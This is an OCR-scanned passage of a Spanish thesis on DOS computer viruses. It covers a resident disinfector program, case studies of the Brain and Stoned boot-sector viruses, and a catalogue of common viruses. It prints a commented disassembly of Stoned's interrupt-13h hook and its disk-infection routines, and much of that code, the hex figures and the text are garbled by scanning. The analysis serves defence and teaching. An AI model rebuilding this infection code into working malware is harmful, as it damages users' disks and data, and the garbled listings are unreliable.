{GOMPARADCS CON LOS PRIMEROS 24 BYTES
{DEL VIRUS
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LISTADO DEL PROGRAMA VACUNA (CONTINUA)

MOV CX.24 24 BYTES
MOV Di.ofisot FIRMA DI APUNTA AL CONTENIT+) DE LA JARIABLE ‘FIRMA"
cLp
CONFRONTA:
CMPS! ;COMPARA 24 BYTES EN DS:S1 CON
JNZ REGRESA iLOS 24 BYTES EN ES:DI FARA SABER
DEC X i1 LA MEMORIA ESTA INFECTADA
INZ CONFRONTA ;SINO ESTA INFECTADA SALE DEL MODULD
CcALL ALARMAZ 51 ESTA INFECTADA LLAMA A LA RUTINA DE ALEATA
POP ES \RESTABLECE EL VALOR DE LOS REGISTROS ES,DS
553
REGRESA:
VERIFICA ENDP

3 AUTINA QUE DESPLIEGA UN MENSAJE EN LA PANTALLA PARA INDICAR QUE La
RAM ESTA INFECTADA POR EL VIRUS

i
ALARMAZ PROC NEAR
Al.uﬁ\tcﬁ CODSEQ, D8:Nothing

BP,oliset LOGO2 \BP APUNTA AL MENSAJE DE LA VARIABLE 'LOGOD"
MOV DX.0900h JRENGLON 9, COLUMNA 0
MOV AX1301h iFUNCION 13h + ESCRIBIR ATRIBUTO DE CADENA
AL=01h - ESCRIBE CARACTER Y AVANZA LA
:POSICION DEL CURSOAR.
MOV TX0ITh {ESCRIBE 371h CARACTEMES
MOV BX.004ER JPAGINA CERQ, FONDO AOUL v PAIMER FLANO AMARILLO
INT 10h {DESPUEGA EL MENSAJE
MOV AH.08h SFUNCION 08h - ESPERA LIN CARACTER DEL TECLADO
INT 21h \PARA HASTA QUE SE OPRIMA UNA TECLA
RET
ALARMAZ ERDP
; ;
CODSEQ ENDS
END INICIO
; ;
Conclusiones.

La principal conclusién que se deduce del desarrollo de un algoritmo de vacuna
contra un virus especffico es consecuencia directa del algoritmo utilizado en ef
programa del virus.

Esto implica que no puede existir un programa general que brinde una
proteccién completa contra los virus informéticos, por 1o que un solo programa ¢
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paquete no podré efectuar la deteccidn de todos los virus, evitar su contagio o
instalacidn, ni reparar los dafios que provoquen,

Aunque no se puede tener el 100% de seguridad, se puede alcanzar un nivel
muy favorable en base a un programa intagral de prevencién informética. Las
caracteristicas de los programas de prevencion se estudian en la seccién 3.1, en
donde se explica que aspectos como la capacitacidn del personal, uso de
controles t&¢nicos, paquetes antivirus y controles administrativos son de
fundamental importancia. '

El programa vacuna se disefla de manera que permanace residente en
memoria, emulando el programa centinela de algunos paqustes, pero a diferencia
de &stos, se efectia la operacién da reparacién al disco. Esto as posible gracias a
que el programa es muy pequefio y solamente ocupa 3 Kb de memoria, por lo
que no tienen ningun problema en quedar residente.

El hecho de que éste programa permanezca activo en la memoria para verificar
y desinfectar a los discos flexibles es una ventaja de operacidn muy favorable para
los usuarios, pero el precio que se paga por esta ventaja es que los accesos al
drive A se efectuarn de manera mas lenta, ya que cada vez que se pida leer o
escribir en él, se checaré ef sector cero,
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PRESENTACION DE CASOS

En los capitulos antericres se ha dado la definicién de virus informético y se
ha descrito su comportamiento, generalizando sobre sus caracteristicas
estructurales y modos de propagacién. Todos estos datos son encontrades a
través dei andilsis de casos particulares, tales como el virus “Brain” o el "Stoned".
En este caplitulo se presenta una descripcién de ambaos, el primero por sec el virus
més documentado, es decir, del que se tisnen mas referencias, y el segundo
derivado de un anélisis directo de un disco infectado.

Actuaimente existen méas de 1000 virus, pero sélo algunos de ellos han
represertado un peligro latenta en los sistemas informaticos y de éste grupo se
presenta una breve doscripcién de cada uno de ellos, con el fin de facilitar su
identificacién por los usuarios de las computadoras.

6.1. Virus "Braln"

E! virus Brain tiene la distincién de ser el primer virus Informdtico en atacar
computadoras en Estados Unidos fuera de una prusba de laboratorio.

Fué nombrado "Brain" por que escribié esta palabra como etiqueta de los
discos flexibles que atacaba. Al analizar un disco infectado, se encontraron los
nombres "Basit" y "Amjad", junto can sus direcciones, en el sector de arranque.

Muchos conceptos errdneos existen sobre este virus a causa de frases
incompletas e inexactas que se publicaron en revistas, por escritores que no
tenfan ningdn conocimiento de computacién y algunos estaban ansicsos de
“historias de horror", por lo que sus anticulos se orientaban al sensacionalismo.




6.1.1. Principales Caracteristicas del BRAIN.

1. Al activarse destruye la tabla de locacién de archivos (FAT) que como se ha
estudiado en el capftulo 2, provee informacién al sistema operativo sobre la
ubicacidn de los archivos en el disco.

2. Nunca infecta a los discos duros, ya que esta especificamente programado
para reproducirse en discos de 5 1/4 de baja densidad (doble densidad,
nueve sectores por pista).

3. Elvirus pueds infectar a los discos fiexibles aun cuando el disco duro no esté
infectado. Si un disco no bootable estd infectado y es ocupadoe pars arrancar
al computador, el siguiente mensaje se mostrard en |a pantalla:

"Por favor inserte un Disco Bootable"

Pero, antes de esto, el virus se habra instalado en la memoria RAM, por Io
que cada vez que se trabaje con un nuevo disco bootable, éste serd
infectado.

4. El cédigo original de! virus ha sido modificado: el cédigo actual comprende
algunos 4100 bytes, pero menos de la mitad de éstos son ejecutados,

5. Etvirug contisne un contador el cual es reiniciaiizado a cero frecusntemants,
por lo que es dificil determinar su propdsito.

6.1.2. Como efectia 1a Infeccién.

Al operar un disco infectado en un sistema informético, el virus se copia a sl
mismo a la parte atta de fa memoria RAM. Para esto necesita modificar el indicador
de memoria disponible en RAM, mediante ef interruptor A2h, con fo que queda
protegido y residsnte. Después continua con el proceso normal de carga,
posterior a lo cual, también modifica la direccién del vector de interrupcién 13h
para que apunte hacia él, guardando la direccién original de este vector en el
vector 6h (que no es utilizado para versiones existentes de DOS).

Una vez instalado en memotia, debido a la intercepcién de fa interrupcién 13h,
cada vez quo se pida un acceso al disco fiexible en la unidad “A:", éste se
infectara.

Los discos infectados contienen un mensaje junto con parte del codigo virus en el
sector de carga. El resto del codigo, junto con el sector de carga original se
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encuentra contenida en tres clusters (seis sectores) que el virus ha marcado como
dafados en la FAT.

Dado que el virus psrmanece residente en memoria, no es posible leer sl sector
de carga infectado, esto porque cada vez que algin usuario pide leer tal sector, el
virus se prolege mostrando el sector de carga original que habfa ubicado
previamenia en uno de los sectores marcados comao dafados.

El virus, residente en memoaria, interrumpse cualquier peticion de lectura al disco
flexible, El virus lee el sector de carga, examinando los bytes cuarto y quinte no
contengan los valores "34" y "12", respectivamente que es la firma del virus.

Si esta firma no osta presents en el disco, el virus infecta al disco y despuds
continua con el proceso normal de lectura. Si sl disco ya est4 infectado, no
reinfecta al disco, continuando con él su lectura. La figura 6-1 es una comparacién
de la porcién inicial de un sector de carga "sano” y uno infectado.

SECTOR DE CARGA OF UN DISCO "SAHO"

DESPLATAMENTO OO0 HEXADECIMAL

o8 00 @O O O EB 34 W@ & @ O 2 0 W X X 0 Q2 @ 0O &
o e 1 8 PO 1O 02 r0 0 OO0 M@ FD m 0 o 00 @ 0O 0O 00 68 00
6 0 32 Pa g ™ o o M ™ M o 00 o0 M W M 00 00 00 OF

0 6 50 PO O o FA BBt 01 M 12 O0 @ ¥ MO 0 0 0 00 00
68 1+ 8 @D VO % X W N W W N M K 8 K 80 B W T &F
0 0 3 2 po0 2z @ 20 74 68 68 20 4 TS e & @ & o W W X 20

FIGURA &1, COMPARACION DE L0S FRIMEROS 43 BYTES DE UN DISCO *SANC® Y UNG INFECTADO
POR EL VIRUS BRAIN.

Normalmente el virus, en su intento por infectar un disco, buscara tres
clusters consecutivos vacios para utilizarlos, marcédndolos como danados. St no
existe esta circunstancia, no se infactard el disco, sin embargo, en algunas
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variantes de este virus, si encuentra a un solo cluster vacio que no sea de los dos
Ultimos de! disco, el virus ocupard el cluster vacio junto con los dos cluster que le
preceden, sobreescribiendo en ellos y marcando los tres como dadadoes.

Si los clusters sobreescritos son parte de un archivo, éste no podrd volver a
ejecutarse en caso de ser un programa, o leerse en caso de ser un documento.

Nota.

Un método simple y barato para saber 5! un computador esté infectado por el
virus (estando el virus residente en memoria), se deduce del checamiento que
efectua el Sistema Operativo del sector de carga de los discos flexibles.
Es posible preparar un disco de prueba mediante los siguientes pasos:

1. Formatear un disco flexible con o sin Sistema Operativo.

2. Usar el programa DEBUG.COM, el cual es una utileria del DOS, o algin
programa como el PCTQOLS, para editar el sector de carga del disco recién
formateado.

La primera linea del sector de carga aparece como s8 muestra en la figura 6-
2.

EB 34 B0 49 42 4D 20 20 3 26 RN o @ o2 o 00

FIGUAA 6-2. PRIMERA LINEA DEL SECTOR DE CARGA DE UN DISCO “SANO",

3. Dado que el Brain examina ios bytes quinto y sexto para reconocer su firma, y
asl saber si ya ha infectado al disco, se debe cambiar estos bytes por la firma
del virus: "3412", La figura 6-3. muestra la primera Inea del sector de carga
modificado. '

EB 34 90 45 M 12 20 20 3 2E R 00 62 02 01 o0
FIGURA 8-3. PRIMERA LINEA DEL SECTOR DE CARGA DE UN DISCO INFECTADO POR EL VIRUS BRAIN.
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Colocando esta disco de prueba en la tectora de disco *B:", pedir el directorio de
‘este disco con la instruccién DIR B:. Si af computador esté infectado por el virus
Brain, el siguiente mensaje aparecera en la pantalia:

*Not ready, error reading drive B*
"Abort, Retry, ignore?”

Esto os debido a que el disco con el sector do carga medificado sélo podra
trabajarse en un sistema no infectado.

6.2. Virus "Stoned"

Este virus es del tipo autorreplicable y, dentro de estos, es uno de los mas
contagiosos. Su nombre "Stoned" se traduce como “drogado" y se debe a que
despliega aleatoriamente el mensaje “Your PC is now Stonedl en las
computadoras que ha infectado.

Su forma de trabajo es muy simple: Se reproduce centagiando los discos,
tanto duros como flexibles, remplazando el boot sector (sector 0) por su cédigo.
El boot sector original es trasladado a otro sesctor dentro del mismo disco:
tipicamente, para los discos flexibles, el sector 11 y para los discos duros el sector
7.

Al ubicarse en el sector de carga inicial (sector cero), el virus se ejscuta
antes de cualquier otro programa cada vez qua se “"arranqus" la computadora o
cuando se reinicializa (reset), por lo que solamente puede entrar en actividad
cuando se "prende” o inicializa la computadora y se carge el sisterna operativo con
un disco bootable infectado, ya sea un disco flaxible en la unidad A o el disco
duro.

Al activarse el virus, comienza checando con que disco se cargb el sistema
operativo (disco flexible A o disco duro C), si se cargd con el disco flexible, ef virus
verifica si la computadora tiene disco duro y si lo tiene, verifica ademds si ya esta
contagiado, de no ser as! lo infecta. Una vez hecho lo anterior, se instata en la
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parte aita de la memoria RAM y toma el control da fos accesos de lactura o
sscritura a fos discos.

Estando activo ef virus, se "sentird" una marcada fentitud al trabajar con el
drive A, sobre todo en el primer acceso. Disminuye 2Kb da la memoria disponible
para los programas y datos del usuarios, por lo que se tienen serios prablemas en
aplicacionas tales como Windows, Excel, Word for Windows. Al desensamblarlo
{traducirio de lenguaje maquina a lenguaje snsamblador), se encuentra que no
tisne el m&dulo de DANO, es decir, que no presenta intencidn de borrar o alterar
los archivos del usuario; pero, debido a que su reproduccion Implica remaver al
sector caro, para sustituirio por su cédigo, éste se transfiere al 4rea de la FATo a
la de Directorio (root directory), ocasionando pérdida de la ubicacién de los
archivos, por o qus no se podra accesarlos.

€l programa desensamblado se preserta en la figura 6.4, o cual se
presenta en tres columnas la primera de las cuales es para l2s eliquetas que son
puntos de referencia para el fiujo del proceso, la segunda es la lista de
instruccionss que forman al programa y ia tercera presenta comentarios que
tienien el fin de aclarar e} funcicnamientc de algunas intrucciones.

FIGURA 6.4,
LISTADO DESENSAMBLADO DEL VIRUS STONED

ENQUTA OFERACION OPERANOG COMENTARIO
JMp ETKAUETA 1
ETIQUETA t: Jmp [NSTALACION iSalta & 12 natina da instalacién.
ENQUETA_2: oo INTER13 Rlmacenamisnto da la direceiSn da (s autine

\de intentupclén 13h.

ETIGUETA_3: (1] INSTALACION_PAM

CARGA_SO: Do 7000 0000 \Direccién de carga del sistema opersiivo,

RESIDENTE: PUSH 08 “Cormbenzs del mbdulo reaidents sr memoris.
PUSH AX
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ETIOUETA_4:

INFECCION:

ETIQUETA _S:

PUSH

PUSH

MOV

e
“le
cup

- ] FIGURA 6-4.
LISTADO DESENSAMBLADO DEL VIHUS STONED (CONTINUA)

AHG2
ETIOUETA 4
AHOY
ETIQUETA 4
oLOL
EPIQUETA 4
AXAX

FAR(ETIOUTAZ)

cx
DX
ES

S1,0004
AX0201

ES
BX.0200
cX.eX
oX.cx

iLintento de lectural
Sheontinia, NO-no Infects.
.cirlento do eacritura?

5! continia, NO-no infocta,

181 no ss ol drive A no Infects.

itPamet acceso al dlsco?
iStinfecta, NO-no Infecta

;Ejscuta sl modulo de Infeccién.

1Ejocuta la rytina narmal de intermupcién 13h.

iComienzo del méduto de irfeccidn s los
1discos Haxibles.

iRoaliza & intartos de intsccidn af disco.




FIGURA 84,

LISTADG DESENSAMBLADO DEL ViRUS STONED (CONTINUA)

ETIQUETA_8:

ENOUETA_7:

JMP

XOR
MoV
CLD
PUSH

Lopsw
(=1
JINZ
Lopsw
CMP
Jz
MoV
MoV
MOV
MOV
PUSHF

oxX
FAR[ETIQUETA_2j iLoo st sector do carga dol disco a infectar.
ETIQUETA 8 i8I nc encyantra efror sjecuta s infeccidn,
ALAX
FAR[ETIQUETA_2} :Raatabiece al disco.
8l L5a han efectusdo 4 [ntentos ds infeccién?.
ETIQUETA_S 5k no imentar de nuevo
INO-Vuelve aintantar la infoccién.
ETIQUETA_8 iNo se pudo Infectas,
SLSI iComienza 1a rutina do Infaccidn,
Di.0200
cs
os
AXJon
ETIQUETA_7
AX,|0i+02] idYe osth conaglado?.
ETIQUETA_S i6kno infecta, NO-Infecta,
AX0301
BX,0200
€Loa
OHO1
FAR[ETWQUETA 2| iCopla of secior de cargs otiginal at

isoctor 11,




ETIGUETA_B:

INSTALACION:

FIGURA 84,

LISTADO DESENSAMBLADO DEL VIRUS STONED (CONTINUAY

JB
MOV
XOR

88558

DEC
DEC
Mav
MoV

ETICUETA 8
AX0301
BXBX

cLo

DX,0X

FAR[ETIQUETA_2]
ot

sl

[

[

[~

BX

AXAX
DS.AX

SSAX
SP,7C00

AX[D0AC)
{7C09).AX
AX,[004E]
{7C08].AX
AX,[0413]

X
A
{O413),AX
cL08

;51 hey amror no Infecta.

158 copis sl virus an ol disce.

:Comlenzs ol mbdulo de inelalacién del virus.

iParie baja de INTER'ﬂ

iParto nita de INTER13

ke Ia cantidad de memciia dispanible an
RAM

iLe testa 1K 8 In memoria disponible on RAM.
Lo resta 1K a la memoria disponible en RAM.

:Quarda ol nueve valor disminuido an 2K
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FIGURA 84,

LISTADO DESENSAMBLADO DEL VIRUS STONED (CONTINUA}

SHL AX.CL

MoV ESAX

MoV [7CoF].AX :DIRECCION DEL SEGMENTO EN DONDE
SE CARGA AL VIRUS- SE QUARDA EN LA
iPARTE ALTA DE INSTALACION_RAM

MOV AX,0015

MOV {DO4C).AX ;Rempiaza I parte baja dol vector 13h.

MOV (004E)ES ;Rempiaza ia parie alta dol vector 13h,

MOV cx,0188

PUSH cs

PoP D3

XCR 1.5t

MoV 3]

LD

REPZ MOVSB iSe copia el virue a la memoria protegida.

c8:

JMP FAR[ETIQUETA_3} iLa parte baja de INSTALACION_RAM
:gitocciona af despiazamiento de Ia etiqueta
X

X: MoV AX,0000

INT 13h

XOR AXAX

MoV ESAX

MoV AX0201

MoV BX,7000

cs:

CMP BYTE PTR[0008},00 ;450 cargo ol Sistorna Operalivo con el disco
duro?,

3z ETIGUETA B ;St-loa 8l secior de carga del sector 7,
INO-$ee ol soctor de carga del sector 11 dal
dive A,

MoV CX,0007

MOV, DX.0080
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e FIQURA 64,
LISTADO DESENSAMBLADO DEL VIRUS STONED (CONTINUA)

CNT 1an iLea of wactor 7 de! disco dure

Jwp ETIQUETA_12
o
MoV X000
MoV DX0100
INT 130 Low o saclor 11 del dlsco A.

: L] ETIQUETA 12
ES:
vesT BYTE FTR(046C) 07 {4Ea la sdptima carge?
Nz ETIQUETA_11 ;Skdesplisge ol mansaja qus esth al final del

;programa (Your PCls now Stoned!?),

{NO-continua sin desplegar ¢l mansaje.

MOV $,0189
PUSH %]
POP DS

ETIQUETA_10:  LODSB

on ALAL

4z ETIGUETA_11

MOV AH.0E

MOV BHO0

INT 100

IMP ETIQUETA_1O
cs
ES

EMQUETA_t1:
AX.0201

PUSH

POP

MOY

MoV BX,0200

MoV cl.oy

MOV DX,0000

INT 13h iintenta beor ol primer sector del disco dure
sipara varificar ol axista),

J8 ETQUETA_t2 5t axlste arrof salta a Ia rutina que ejecita a!

sprograma de carga original.




ETIQUETA_12:

ETIQUETA_13:

FIGURA 6-4.

LISTADQ DESENSAMBLADO DEL YIRUS STONED [CONTINUA)

[r:]

S,0000

Di.oo00

AX,{Di+ 02 14Estd infactad< of diaco duroe?

ETIQUETA_13 5 Salta sl médulo do infaccién del disco
1duro (ETIGUETA_13),
;NG-continia.

BYTE PTR{0008},00

FAR[DATO) iEjecuta ol piograma de casga ofiginel.
:Comionzo del médulo da Infecclén al disco
;duro,

BYTE PTR(0006).02 Marca ol disco come ‘Infectada’,

AX,0901

BX,0200

©X.0007

DX,0003

13h iCopia of soctor de carga original al seclor 7,

ETQUETA_12 :5l exists error no Infecta.

(o]

0s

cs

£S

SI,038E

OLO1BE

CX.0242

MOVSB 150 ocpia ol virus an la memoria de trabsjo.

AX,0301

8x,68X

CL




L ) FIGURA 6-4.
LISTADO DESENSAMBLADG OEL VIRUS STONED (CONTINUA

130 .Se copia el virus en of disco duro,

ETIQUETA_ 12 Salka & ejecutar of programa de carge
orlginal

Your PC ls now Stoned! ;Mensaje que deapilage o virus

LEGALISE MARLIUANA! ‘Mensaje qua despllaga o virus

Al estudiar su cédigo se pueden apreciar que es un prograrna estructurado
en cuatro médulos con funciones especificas:
* mdédulo de instalacion
+ mobdulo residente en memoria
* mdédulo de infaccion del disco duro
» moédulo de infeccidn de disco fexible (unidad A)

El madulo de instalacién comienzz cambiando la direccién de la rutina que
maneja la interrupcion 13h, de la tabla de vectores de interrupcion (ver seccidn
2.3). La direccién remplazada es guardada en la direccidn espsecificada por la
ETIQUETAT (INTER13), y en su lugar se deja la direccién del médulo residente en
memcria (b). Posteriormente examina si existe disco duro en el zomputador; si no
existe, ejecuta el programa de carga original. Si existe disco duro, verifica st ya
est& contaminado examinando el noveno byte del sector 0, si éste tiene un valor
de 02h, considera que el disco duro ya esté infectado y por o tanto efecta el
programa de carga original. De na ser asl, entonces cuenta el nimero de veces
qua se ha inicializado al computador, o sea, cuantas veces se ha ejecutado el
programa de carga, y cuando sea la séptima carga, entonces despliega el
mensaje "Your PC is now Stoned! LEGALISE MARIJUANAL", el cual se encuentra
al final del programa. Para cualquier otro nimero, ejecuta el programa de carga
original y transfiere el control del procesadar al sistema operativo.

El mddulo residente en memoria es el médulo de INJURIA, En esta seccidn
del programa se evalua o valor del registro AH, el cual contiene la funcién pedida
para la interrupcidn 13h, que es la que se interceptd al instalarse en memoaria. Si
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contiene el valor 02h o 03h, significa que se esta pidiendo una lectura o escritura,
respectivamente, al disco, y para saber a qué disco se quiere accesar se evalla ol
valor del registro DL, siendo 00h para el drive A. Encontrando sstos valores
verifica que sea el primer acceso al disco y st es asf, comprueba que no esté
Infectado autn. Dandose todas estas condiciones, llama al médulo de infeccion al
drive A. Por dltimo, efectuandose o no una infeccién al disco, llama al manejador
de la interrupcion 13h, de tal manera que, para e! usuario, el llamado a esta
interrupcién serd normal, es decir no apreciara ninguna diferencia a excepcién de
que ¢l proceso tardard mas en realizarse. La intarrupcién 13h es muy utilizada por
al sistema operativo vy por la mayorfa de los programas para leer o escribir
informacién en los discos.

El médulo de INFECCION, aen este programa, se divide en dos: uno para
infectar al disco duro y otro para infectar los discos del drive A.

La infeccidn del disco duro es simple: marca el noveno byte def sector de
carga con el valor 02h, la cual servird para identificar que e! disco ya fue infectado.
Transfiere el sector de carga “sano" (origina!) al sector 7 y después se copia a s/
mismo en el sector cero.

El méddulo de infeccion del disco A, se sjecuta siempre y cuando se den las
condiciones de que sea una lectura o escritura, que el drive no esté infectado y
que sea el primer acceso. Traslada el programa de carga original al sector 11 de!
disco y se copla a sl mismo en el sector cero. Si se presenta un error al intentar la
infeccién det disco, restablece todos los pardmetros y lo vuelve a intentar. Efectda
hasta cuatro intentos de infeccion y si atn persiste el error cancela la ejecucion del
médulo.

6.3. Varlos.

Actualmente existen una gran variedad de virus originales y derivados en el
mundo (se considera una lista de airededor de 1000), y de todos ellos se presenta
a continuacidn, referencias de un pequeiio grupo seleccionados por ser los méas
esparcidos en las computadoras:



CONCLUSIONES

La presencia de los virus an las computadoras ha provocado un
replanteamiento de una problematica bastante clvidada: la seguridad
Informética. Esto a causa de que talas aplicaciones son en s/, una prueba para
los sistemas de seguridad.

Al ser probados los sistemas de seguridad, é5tos manifestaron grandes
huecos, de "origen”, en la proteccién de informacidn, es decir, se encuentra que
an el avance técnico del diseno de los computadores, para hacerlos mas rapidos
y con mayor capacidad, se dejd a un lado adicionar controles para la prevencién
de accidentss o ataques a la informacidn que almacenan y procesan,

Partiendo con la consideracién de que los virus no son mas que
programas, cuya ‘virtud* principal es la de aprovechar las wulnerabilidades
técnicas de los equipos, entonces se debe entender que limitando el grado de
vuinerabilidad se puede llegar a un estado que asegure la integridad de nuestra
informacion.

Asegurar nuestra informacidn implica no solamento prevenirse contra los
virus, sino ademaés tener un control preciso sobre todos los recursos informéticos.
Para lograr esto, debe implementarse un Programa Intagral de Seguridad que
contemple tanto los aspectos técnicos como el factor humano. Este Ultimo es en sf
el punto mds importate de tode programa y es el més dificil de controiar, por lo
que las medidas técnicas y administrativas que se adhieran serdn de gran ayuda
en la funcionalidad de este factor. !

Esta tesis ha examinado los aspectos mas relevantes ds los virus en
términos de un sistema de computadora especifico. Como se afirma
anteriorments, una parte esencial de controlar la amenaza de los virus es
comprender como efectian el ataque a los sistemas. Las vulnerabilidades ds los
sistemas deben ser identificadas antes de que puedan ser mitigadas o corregidas.
Uno de los objstivos de este documento ha sido proveer al lector con una base
para la comprensién de esas vulnerabilidades, considerando slempre que el mejor



remedio contra cualquier positilidad de pérdida de informacién por un ataque o
por un accidente es la educacion de [os usuarios.

Una solucién alternativa al problema est4 en la investigacién de sistemas
expertos que funcionen como anticuerpos, es decir, desarrollar algoritmos
capaces da aprender a implementar las defensas necesarias para el problema en
particular. Esto como una analogia del sistema inmunolégico humano,
desarrolldndose verdaderos programas 'vacunas’, Los programas conocidos
como vacunas actualmente se comportan mas bisn como antibiéticos, los cuales
sirven para ramediar y, relativamente, prevenir enfermedadas viricas,

En resumen, la experimentacién muestra la viabilidad de un atuque viral
sobre una variedad do sistemas operativos y qua la mejor defensa es la educacién
de los usuarios; pero aln queda mucho que investigarse sobre este tema.

Los principales puntos de investigacidn deben ser:

vy

Complefidad Teérica | Desarrollar una teorfa de andlisis profundo, Esta teorfa
pueden ser introducidas a un nivel abstracto,
apoyandoss en la teorfa de conjuntos.

2 Mecanismos de En esta tesis se plantea un programa de prevencion
Protecclén general a nivel tedrico, pero la funcionalidad del
programa en sistemas reales no se ha podido evaluar.
3 Desinfeccion Desarroliar métodos mas precisos para e
restablecimiento de los sistemas que aseguren la
recuperacidén de por lo menos el 90% de los dafios

sufridos.
4 Modificaclén al Desarrollar un Sistema Operativo que contenga

Slistema Operativo |medidas de seguridad internas en su funcionameinto.
Por ejfemplo, un sistema operativo que requiera que el
usuario inicialice la sesién de trabajo indicando que
programas tienen autorizacién para leer y escribir.
Entonces, por ejemplo, un simple programa (como un
juego), se I8 asignaria sélo el privilegio para leer y
escribir archivos que él mismo genere.




ANEXO 1.

Simbologlia empleada en Teoria de Conjuntos

SIMBOLO | DESCRIPCION EJEMPLO
v OR O I8gica, cuslquisra de los elementos.
A AND Y l6gica, o uno u ofro, pero no ambos.
- Si .. entonces Ejsmplo:
X =+ P
Si x entoncas P.
S Elernento Ejemplo:
x €EP
x es elemento de P.
U Unién Ejemplo:
C=AUEB
C 63 o conjunto da elemuntos que pertenacen a
AoaB.
n Interseccién Ejsmplo:
C=ANSB
C es el conjunto de elementos que pertenecen
tanto a Acomo aB.
= Equivalencia X =Yy
3 Algun elemento Ejsmpla:
3x f(x)
Existe alglin x que satisface la funcién f(x).
v Todo elemento Ejemplo:
Wx 1{x)

Toda x que satisface la funcién f(x).




ANEXO 2.

Breve Descripcién de los Virus més esparcidos en las

computadoras.

Actualmente existen una gran variedad de virus originales y derivados en el
mundo (se considera una lista de alrededor de 1000), y da tados elios s presenta
a continuacién, referencias de un pequerio grupo seleccionados por ser los més
esparcidos en las computadoras:

NOMBRE

ALIAS

DESCRIPCION

AIDS
(SIDA)

Hahaha,
Mofa,
VGA2CGA,

También conocido como Hahaha (fa-jaja). Infecta
archivos ejecutables con extensidn .COM o .EXE,
sobreescribiendo sy cbdigo en los primeros 13 Kb,
Debido a esto, los archivos contaminados deben ser
borrados y reemplazados, ya que no es posible
recuperar la porcién perdida del programa. Al activarse
despliega el mensaje "Your computer now has AIDS"
("Su computadora tiene SIDA").

Alabama

Ninguno

Este virus ataca a los archivos .EXE aumsntando su
tamafio en 1560 bytes. Se instala como virus residente
en memoria cuando se ejecuta el primer archivo
contarninado, paro no utiiza la funcidn TSR normal. En
vez de esto, el virus intercepta a la interrupcién Sh.
Cuando se detecta una combinacién de teclas CTAL-
ALT-DEL, ol virus causa un aranque aparente pero
permanece en la RAM,

Después de que el virus ha estado residents en memoria
durante una hora, aparece &l siguiente mensaje en una
casilla desteliante:

COPIAS DE SOFTWARE PROHIBIDAS FOR LEY
INTEANACIONAL...

BOX 1055 Tuscambia ALABAMA USA.

Alameda

Merrit,
Peking,
Sedl,
Yale.

Remplaza el boot sector con su cédigo transladandolo al
sector 8, pista 39, lado 0. Ocasiona Ia "calda del sistema"
y el borrado de dates. Se duplica cada vez que se
reinicializa el sistema (CTRL-ALT-DEL), infectando sélo
discos de 5 1/4 de 360 Kb. Sus variantes son; Alameda-
B, Alameda-C y SF




NOMBRE

ALIAS

DESCRIPCION

Amstrad

Ninguno

Infecta los programas con extensién .COM, creciéndnlo
en 847 bytes. No produce dano a los sistemas y no es
residente en memoria.

Ashar

Shos,
ulucC.

Es un contaminador del sector de arranque, es residente
en memoria y es una variante del virus Brain, La
diferencia con 6! Brain s que puada contaminar tanto
discos flexibles como discos duros,

April 18t

Infecta archivos con extensién .COM, aunque la verslén
"B también infecta a los de extension .EXE. Despliega el
mensaje "April 1st Ha Ha Ha You have a virus". Se activa
al ejecutarse un programa infectado y permanece
residente en memoria.

Austrian

648

Se descubre en Londres, en 1988. Infecta los archivos
.COM aumentandolos en 648 bytes. La versidn 405 los
aumenta en 405 bytss.

Brain

Pakistant,
Carsbro.

Contamina el sector de arranque de los discos
transladando el sector original junto con una parte del
virus a tres cluster vaclos del disco y los marca como
dafiados. Ademds cambia la etiqusta del disco por *(c)
Brain®.

Se instala como residente en memoria ocupando entre 3
v 7 Kb de RAM.

Boot Sector

Ninguno

Ataca a las computadoras Atari modelo ST, copidndose
en el sector de carga da los discos, daftando la FAT de
los discos.

Byte Bandit

Ninguno

Trabaja como un gusano, infecta a los discos flexibles y
esta mas difundido en las computadoras Amiga de
Commodore.

Cascade

Otofio,
Letras
Caidas,
1701,

Es un Caballo do Troya, disfrazado en un programa que
se suponla que apagaba la luZ de NUM-LOCK cuando
se arranca el sistema. En vez da esto, el virus provoca
que todos los caracteres de la pantalla se "caigan” a la
pare inferior de la pamtalla. Infecta los archives .COM
aumentando 1701 bytes su tamafio.

Cascade -

Blackjack,
1704,

Es ol mismo qua el Cascade excepto que la "calda" de
los caracteres ha sido remplazada por un arranque de!
sistema que tendra lugar a intervalos de tiempo aleatorio
después qua se active el virus.




NOMBRE

ALIAS

DESCRIPCION

Chaos
(Caos)

Ninguno

Es un contaminador del sector de arranque (tanto de
discos flexibles como duros), residente en memoria.

€l virus contamina a los discos sobreescribiendo su
cédigo en e seclor de carga en los cuales se
encuentran los siguientas mensajes:

Welcome to the New Dungeon (Benvenidos & Nuvo
Calabozo)

Chaos (Cacs)

Let’s be cool guys (Seamcs tipes frics)

Cuando se activa el virus, indica que el disco esté lleno
de sectores malos, aunque la mayorfa de estos sactores
son legibles.

Dark
Avenger
{Vengador
Tenebroso)

Black
Avenger

Este virus se intala residente en memoria y contamina
archivos .COM y .EXE, aumentando su longitud en 1800
bytes.

Datacrime

Columbus-
Day,
1280

Infecta a los archivos .COM con excepcién del
COMMAND.COM, ubicandose al final de ellos,
activandose cuando se ejecuta uno contagiado. El virus
adhiere su cédigo al final de los archivos y guarda en
memoria los tres primeros bytes del programa original
los cuales se sustituyen por una instruccion de salto que
apunta al comienzo del virus. Después del 12 de octubre
de cualquier afo, cuando se activa, presenta el mensaje:
"DATACRIME VIRUS RELEASED: 1 MARCH 1989 al
tiempo que efectiia un formateo de bajo nivel (low level
format), en el disco duro.

Datacrime i

Columbus-
Day,
1514

Es una variante del Datacrime cuya diferencia es que
infecta tanto a archivos .COM (incluyendo al
COMMAND.COM) como a los .EXE, aumentandoles
1514 bytes.

Datacrime
B

Columbus-
Day,
1168.

Es otra variante del virus Datacrime y su diferencia con
éste es que solamente infecta a los archivos con
extension .EXE.




NOMBRE

ALIAS

DESCHIPCION

" dBASE

Ninguno

Infacta a los archivos con .COM y .OVL, corromplendo
ademas datos de los archivos .DBF, Al activarse
permanece residente en memoria, afectando a los
archivos .DBF alterando sus codigos originales
{modificando los datos), ademas altera la FAT y el root
directory del disco duro. Crea un archivo BUG.DAT, sn
donde registra sus infecciones.

- DOs

Unesco

Infecta archivos .COM. Se present$ al publico en un
campamento veraniego de computacién para nifos,
patrocinado por la UNESCO. Los programas infectados
realizan una repeticién de la carga Inicial del sistema
cuando se ejecuta. La variante 62-B no realiza esta
repeticién, parc cuando se activa, borra el programa
gjecutado.

Den Zuk

Busqueda,
Venezolano

Es un contamidor def sector de carga de los discos de 5
1/4 y 360 Kb. El virus es residente en memoria y contiene
un contador que cuando llega a su imite“formatea al
disco quse esté en la unidad A, Normalmente el limite del
